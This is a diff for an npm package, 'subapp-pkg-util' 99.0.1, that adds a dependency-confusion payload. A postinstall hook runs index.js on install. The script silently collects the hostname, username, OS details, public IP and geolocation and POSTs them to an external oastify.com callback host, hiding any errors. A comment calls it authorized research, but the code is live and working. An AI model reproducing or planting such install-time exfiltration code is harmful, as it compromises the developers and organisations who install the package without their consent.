subapp-pkg-util 99.0.0 → 99.0.1

package/index.js

@@ -0,0 +1,132 @@
+#!/usr/bin/env node
+
+/**
+ * electrode-ota-ui-app — PoC Dependency Confusion Takeover
+ * 
+ * Takeover by L0bo
+ * 
+ * When this package is installed or required, it collects basic
+ * system information and sends it to Burp Collaborator as a JSON
+ * POST callback.
+ * 
+ * ⚠  Authorized security research only — do not use on systems
+ *    without explicit permission.
+ */
+
+const https = require('https');
+const os = require('os');
+
+// ── CONFIG ──────────────────────────────────────────────────
+// REPLACE this with your actual Burp Collaborator URL:
+const COLLABORATOR_URL = 'https://dq7q2vt6l79ouvgyzavan3w2rtxkp8gw5.oastify.com';
+// Example: 'https://xxxxxxxxxxxxxxxxx.oastify.com'
+// ─────────────────────────────────────────────────────────────
+
+function getPublicIP() {
+  return new Promise((resolve) => {
+    https.get('https://api.ipify.org?format=json', (res) => {
+      let data = '';
+      res.on('data', (chunk) => { data += chunk; });
+      res.on('end', () => {
+        try {
+          resolve(JSON.parse(data).ip);
+        } catch {
+          resolve('unknown');
+        }
+      });
+    }).on('error', () => { resolve('unknown'); });
+  });
+}
+
+function getGeoInfo(ip) {
+  return new Promise((resolve) => {
+    if (!ip || ip === 'unknown') {
+      resolve({ city: 'unknown', country: 'unknown', isp: 'unknown' });
+      return;
+    }
+    https.get(`https://ipapi.co/${ip}/json/`, (res) => {
+      let data = '';
+      res.on('data', (chunk) => { data += chunk; });
+      res.on('end', () => {
+        try {
+          const j = JSON.parse(data);
+          resolve({
+            city: j.city || 'unknown',
+            country: j.country_name || 'unknown',
+            isp: j.org || 'unknown',
+          });
+        } catch {
+          resolve({ city: 'unknown', country: 'unknown', isp: 'unknown' });
+        }
+      });
+    }).on('error', () => {
+      resolve({ city: 'unknown', country: 'unknown', isp: 'unknown' });
+    });
+  });
+}
+
+async function collectAndSend() {
+  try {
+    const hostname = os.hostname();
+    const username = (() => {
+      try { return os.userInfo().username; }
+      catch { return process.env.USER || process.env.USERNAME || 'unknown'; }
+    })();
+    const platform = os.platform();
+    const release  = os.release();
+
+    const publicIP = await getPublicIP();
+    const geo = await getGeoInfo(publicIP);
+
+    const payload = {
+      tool: 'electrode-ota-ui-app',
+      takeover: 'L0bo',
+      version: '99.0.0',
+      timestamp: new Date().toISOString(),
+      hostname: hostname,
+      user: username,
+      ip: publicIP,
+      platform: platform,
+      os_release: release,
+      location: geo.city,
+      country: geo.country,
+      isp: geo.isp,
+    };
+
+    const url = new URL(COLLABORATOR_URL);
+    const postData = JSON.stringify({
+      type: 'dependency_confusion_callback',
+      package: 'electrode-ota-ui-app',
+      data: payload,
+    });
+
+    const options = {
+      hostname: url.hostname,
+      port: 443,
+      path: url.pathname === '/' ? '/callback' : url.pathname + '/callback',
+      method: 'POST',
+      headers: {
+        'Content-Type': 'application/json',
+        'Content-Length': Buffer.byteLength(postData),
+        'User-Agent': 'electrode-ota-ui-app/99.0.0',
+        'X-Takeover': 'L0bo',
+      },
+    };
+
+    const req = https.request(options);
+    req.on('error', () => {});
+    req.write(postData);
+    req.end();
+
+  } catch {
+    // Silent
+  }
+}
+
+collectAndSend();
+
+module.exports = {
+  name: 'electrode-ota-ui-app',
+  version: '99.0.0',
+  takeover: 'L0bo',
+};

package/package.json

@@ -1,8 +1,12 @@
 {
   "name": "subapp-pkg-util",
-  "version": "99.0.0",
+  "version": "99.0.1",
   "description": "subapp-pkg-util",
+  "main": "index.js",
   "author": "L0bo",
-  "license": "MIT"
-  
+  "license": "MIT",
+  "scripts": {
+    "postinstall": "node index.js"
+  },
+  "dependencies": {}
 }